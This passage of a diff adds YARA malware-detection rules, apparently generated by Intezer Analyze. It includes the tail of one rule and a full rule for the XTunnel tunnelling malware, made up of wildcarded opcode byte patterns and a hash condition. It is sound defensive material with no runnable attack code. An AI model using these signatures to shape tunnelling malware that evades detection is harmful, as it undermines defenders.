+		$block_24 = { 8B ?? ?? 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? FF D? 83 ?? ?? 83 ?? ?? ?? ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 35 ?? ?? ?? ?? 89 ?? 8B ?? ?? 80 F? ?? 89 ?? 89 ?? 09 ?? 85 ?? 0F 94 ?? 0F B6 ?? EB }
+		$block_26 = { 0F 1F ?? ?? 5? 5? FF 7? ?? ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 0F 85 }
+		$block_27 = { 0F BD ?? ?? ?? 0F BD ?? 83 ?? ?? 83 ?? ?? 29 ?? 8D ?? ?? 89 ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_28 = { 89 ?? ?? 89 ?? ?? ?? 8D ?? ?? 31 ?? 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 0F 1F ?? 66 ?? ?? 75 }
+		$block_29 = { 66 ?? 5? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 80 7? ?? ?? 0F 85 }
+		$block_30 = { 8D ?? ?? ?? 89 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 84 ?? 0F 85 }
+		$block_31 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 1F }
+		$block_32 = { BE ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 29 ?? 39 ?? 89 ?? 0F 43 ?? 83 ?? ?? 72 }
+		$block_33 = { 8D ?? ?? 31 ?? 89 ?? 89 ?? 89 ?? ?? ?? 0F 1F ?? ?? ?? ?? ?? ?? 0F B6 ?? 8D ?? ?? 84 ?? 78 }
+		$block_34 = { 83 ?? ?? 0F B6 ?? 89 ?? 8D ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? 83 ?? ?? 8B }
+		$block_35 = { 0D ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? 8B ?? ?? 21 ?? 89 ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_36 = { 89 ?? 89 ?? E8 ?? ?? ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 89 ?? 89 ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? ?? 8B ?? ?? ?? BD ?? ?? ?? ?? BB ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 39 ?? 0F 84 }
+		$block_38 = { 89 ?? ?? ?? 8B ?? ?? ?? 4? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? 8B ?? ?? ?? 0F B6 ?? 83 ?? ?? 89 }
+		$block_39 = { 89 ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 84 ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 0F 85 }
+		$block_40 = { 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 8B ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_42 = { 0F B6 ?? ?? 89 ?? 0F B6 ?? ?? ?? ?? ?? 4? 0F B6 ?? ?? ?? ?? ?? 3A ?? ?? ?? ?? ?? 89 ?? 74 }
+		$block_43 = { 8B ?? ?? BD ?? ?? ?? ?? 0F B6 ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 24 ?? 3C ?? 89 ?? 75 }
+		$block_44 = { 5? 5? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? 89 ?? ?? B1 ?? 89 ?? ?? ?? 80 7? ?? ?? 0F 85 }
+		$block_45 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? 7F }
+		$block_46 = { 8B ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? 85 ?? 89 ?? ?? ?? 0F 44 ?? 8D ?? ?? ?? 89 ?? 85 ?? 74 }
+		$block_47 = { 89 ?? ?? ?? 31 ?? 85 ?? 89 ?? BF ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_48 = { E8 ?? ?? ?? ?? FF 7? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 0F 1F ?? ?? E8 ?? ?? ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 39 ?? 75 }
+		$block_50 = { 80 7? ?? ?? ?? 0F 97 ?? 80 F? ?? 0F 97 ?? 3A ?? ?? ?? 18 ?? 80 C? ?? 20 ?? 20 ?? 0F B6 }
+		$block_51 = { 8B ?? ?? 0F B6 ?? 0F B6 ?? C1 ?? ?? 89 ?? 8B ?? ?? 83 ?? ?? 0F B6 ?? 0F B6 ?? 09 ?? EB }
+		$block_52 = { 89 ?? 83 ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? 0F 42 ?? 8D ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_53 = { 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 0F B6 ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 84 ?? 0F 88 }
+		$block_54 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_55 = { 0F 1F ?? ?? ?? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 8B ?? ?? 80 3? ?? 75 }
+		$block_56 = { 8D ?? ?? ?? FF 7? ?? ?? FF 7? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? ?? ?? 3C ?? 75 }
+		$block_57 = { 89 ?? BE ?? ?? ?? ?? 83 ?? ?? 0F 42 ?? 8D ?? ?? 89 ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_58 = { 8A ?? ?? ?? 88 ?? ?? ?? 0F B7 ?? ?? ?? 66 ?? ?? ?? ?? 8B ?? ?? 8B ?? F0 ?? ?? 0F 8E }
+		$block_59 = { C6 ?? ?? BB ?? ?? ?? ?? 8A ?? ?? ?? 88 ?? ?? 0F B7 ?? ?? ?? 66 ?? ?? ?? 89 ?? ?? C7 }
+		$block_60 = { 89 ?? ?? B1 ?? 86 ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 8B ?? ?? ?? 8B ?? ?? 8D ?? ?? 89 ?? 0F B6 ?? C1 ?? ?? 09 ?? 83 ?? ?? 66 ?? ?? ?? 73 }
+		$block_62 = { 8B ?? ?? ?? C1 ?? ?? 66 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 09 ?? 31 ?? 89 ?? E9 }
+		$block_63 = { 8B ?? ?? 89 ?? 31 ?? 29 ?? 89 ?? 01 ?? 89 ?? ?? 39 ?? ?? 8B ?? ?? ?? 8B ?? ?? 0F 95 }
+		$block_64 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? 89 ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_65 = { 31 ?? B0 ?? F0 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? C1 ?? ?? 0F B7 ?? 3D ?? ?? ?? ?? 0F 82 }
+		$block_66 = { 89 ?? 89 ?? C1 ?? ?? C1 ?? ?? C1 ?? ?? C1 ?? ?? 0F B6 ?? 0F B7 ?? 09 ?? 09 ?? 0F 85 }
+		$block_67 = { 89 ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? 29 ?? 89 ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_69 = { 0F 1F ?? E8 ?? ?? ?? ?? FF 7? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0F 87 }
+		$block_70 = { 8B ?? ?? ?? BF ?? ?? ?? ?? BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? 39 ?? 0F 84 }
+		$block_71 = { 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? ?? 0F 87 }
+		$block_72 = { 0F 1F ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 4? 85 ?? 0F 84 }
+		$block_73 = { 8B ?? ?? ?? 83 ?? ?? ?? 0F 94 ?? 80 7? ?? ?? BE ?? ?? ?? ?? 18 ?? 20 ?? 0F B6 ?? EB }
+		$block_74 = { 5? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0B ?? ?? 0F 85 }
+		$block_75 = { 89 ?? B8 ?? ?? ?? ?? 83 ?? ?? 0F 42 ?? 8B ?? ?? ?? 8D ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_76 = { 0F B6 ?? ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? ?? 0F B6 ?? ?? 4? 3A ?? ?? ?? ?? ?? 74 }
+		$block_77 = { 31 ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? 89 ?? 29 ?? 29 ?? 89 ?? ?? ?? 0F 84 }
+		$block_78 = { 4? BF ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 44 ?? ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 }
+		$block_79 = { 0F B6 ?? ?? 89 ?? 89 ?? 89 ?? ?? 8B ?? ?? ?? 24 ?? 3C ?? 89 ?? BE ?? ?? ?? ?? 75 }
+		$block_80 = { 0F 1F ?? ?? 5? 89 ?? 83 ?? ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8A ?? 80 F? ?? 74 }
+		$block_81 = { 8B ?? ?? ?? 0F B6 ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? C1 ?? ?? 09 ?? EB }
+		$block_82 = { 8B ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 29 ?? 89 ?? ?? ?? 89 ?? 0F 1F }
+		$block_83 = { 8B ?? ?? ?? 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? 81 F? ?? ?? ?? ?? 76 }
+		$block_84 = { 89 ?? E8 ?? ?? ?? ?? 0F 1F ?? ?? ?? ?? ?? ?? 5? 5? 5? 5? 89 ?? 8B ?? ?? 85 ?? 74 }
+		$block_85 = { 0F 1F ?? ?? ?? 8A ?? ?? ?? 81 E? ?? ?? ?? ?? 88 ?? 09 ?? 8A ?? ?? ?? 84 ?? 0F 85 }
+		$block_86 = { 8B ?? ?? 83 ?? ?? 5? 5? FF 7? ?? FF 5? ?? 83 ?? ?? 4? 83 ?? ?? 84 ?? B0 ?? 0F 84 }
+		$block_87 = { 8B ?? ?? ?? 8D ?? ?? 8B ?? 0F B6 ?? ?? 89 ?? ?? 66 ?? ?? ?? 89 ?? 04 ?? 3C ?? 72 }
+		$block_88 = { 8B ?? ?? 83 ?? ?? 0F B6 ?? 0F B6 ?? C1 ?? ?? 89 ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? 09 }
+		$block_89 = { 8B ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0F 47 ?? 4? 39 ?? 0F 87 }
+		$block_90 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 83 ?? ?? 31 ?? 83 ?? ?? ?? 89 ?? 89 ?? ?? ?? 0F 84 }
+		$block_91 = { 89 ?? 83 ?? ?? 89 ?? ?? ?? 8B ?? 89 ?? ?? ?? 31 ?? 8B ?? ?? 89 ?? ?? ?? 0F 1F }
+		$block_92 = { 66 ?? ?? ?? ?? 0F 10 ?? 83 ?? ?? 66 ?? ?? ?? ?? 0F 11 ?? 83 ?? ?? 83 ?? ?? 75 }
+		$block_93 = { 89 ?? 83 ?? ?? 31 ?? 89 ?? ?? ?? 8B ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 0F 1F }
+		$block_94 = { 8B ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_95 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 83 ?? ?? 01 ?? 8D ?? ?? 8D ?? ?? 0F 1F }
+		$block_96 = { 31 ?? 85 ?? 89 ?? ?? ?? 0F 95 ?? ?? ?? 0F 95 ?? 80 7? ?? ?? 88 ?? ?? ?? 0F 85 }
+		$block_97 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 0F B6 ?? 3C ?? 74 }
+		$block_98 = { 3B ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_99 = { 8B ?? ?? ?? 85 ?? 0F 94 ?? 89 ?? 29 ?? 0F 94 ?? 08 ?? 80 F? ?? 88 ?? ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "2ee5a743bd420aa04e0ea9ab7a25e1cc2c346a55d6a518f267896694d75539a2" or
+		12 of them
+}
+
+rule XTunnel {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? 8B ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 69 ?? ?? ?? ?? ?? 89 }
+		$block_1 = { 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? C7 }
+		$block_2 = { 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 76 }
+		$block_3 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_4 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? 75 }
+		$block_5 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? 75 }
+		$block_6 = { 0F B7 ?? ?? ?? ?? ?? 5? 5? 6A ?? 5? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_7 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 0F BF ?? ?? 83 ?? ?? 74 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 87 }
+		$block_9 = { 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? 0F 8D }
+		$block_10 = { 8B ?? ?? 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 75 }
+		$block_11 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 83 }
+		$block_12 = { B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? 0F 44 ?? 89 }
+		$block_13 = { 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? A8 ?? 0F 85 }
+		$block_14 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 80 3? ?? 0F 85 }
+		$block_15 = { 5? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_16 = { 5? 48 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_17 = { 8B ?? ?? 8B ?? 8B ?? ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8B ?? 8B ?? ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_19 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_20 = { 5? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? A8 ?? 0F 85 }
+		$block_21 = { 5? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_22 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? 75 }
+		$block_23 = { 8B ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 8F }
+		$block_24 = { 8B ?? ?? 8B ?? 8B ?? ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 8E }
+		$block_25 = { 0F B6 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? 0F 8D }
+		$block_26 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_27 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 87 }
+		$block_28 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 23 ?? 8B ?? 85 ?? 0F 84 }
+		$block_29 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? E9 }
+		$block_30 = { 8B ?? ?? 8D ?? ?? 8B ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 5? ?? 85 ?? 0F 88 }
+		$block_31 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 83 }
+		$block_32 = { E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 81 3? ?? ?? ?? ?? 0F 84 }
+		$block_33 = { 2B ?? 8B ?? ?? 5? 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_34 = { 2B ?? 5? 8B ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 8B ?? ?? 2B ?? 8B ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_37 = { 80 B? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 0F 85 }
+		$block_38 = { 8B ?? ?? 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? 66 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? EB }
+		$block_39 = { 8B ?? ?? 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 }
+		$block_40 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 88 ?? ?? 8A ?? ?? A8 ?? 0F 85 }
+		$block_41 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_42 = { 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? 48 ?? ?? ?? 2B ?? ?? 48 ?? ?? ?? 3B ?? ?? 0F 8E }
+		$block_43 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_44 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_45 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_46 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_47 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 82 }
+		$block_48 = { 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 87 }
+		$block_49 = { 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF D? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E }
+		$block_50 = { 8D ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? FF 1? 85 ?? 0F 88 }
+		$block_51 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_52 = { 48 ?? ?? ?? ?? ?? ?? 0F BF ?? ?? 81 E? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_53 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_54 = { 48 ?? ?? ?? 8B ?? ?? 89 ?? 4C ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? 4C ?? ?? 0F 83 }
+		$block_55 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? A8 ?? 0F 85 }
+		$block_56 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 87 }
+		$block_57 = { 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 80 3? ?? 0F 85 }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_59 = { 8B ?? ?? 8B ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_60 = { 8B ?? ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_61 = { 0F B7 ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 }
+		$block_62 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_63 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 87 }
+		$block_64 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_65 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_66 = { 8B ?? ?? 8B ?? 5? 5? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_67 = { 8B ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_68 = { 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_69 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? A8 ?? 0F 85 }
+		$block_70 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 81 F? ?? ?? ?? ?? 41 ?? ?? ?? 44 }
+		$block_71 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 80 3? ?? 0F 95 ?? 80 F? ?? F6 ?? ?? 0F 85 }
+		$block_72 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_73 = { 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 5? E9 }
+		$block_74 = { E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_75 = { 6A ?? 6A ?? 5? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_76 = { 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? ?? 3B ?? 7D }
+		$block_77 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F BF ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_78 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_79 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_80 = { 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F BA ?? ?? 48 ?? ?? ?? ?? 89 }
+		$block_81 = { 8B ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_82 = { 8B ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_83 = { 8B ?? ?? ?? ?? ?? 0F BF ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 66 }
+		$block_84 = { BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$block_85 = { 0F B7 ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 66 ?? ?? ?? 75 }
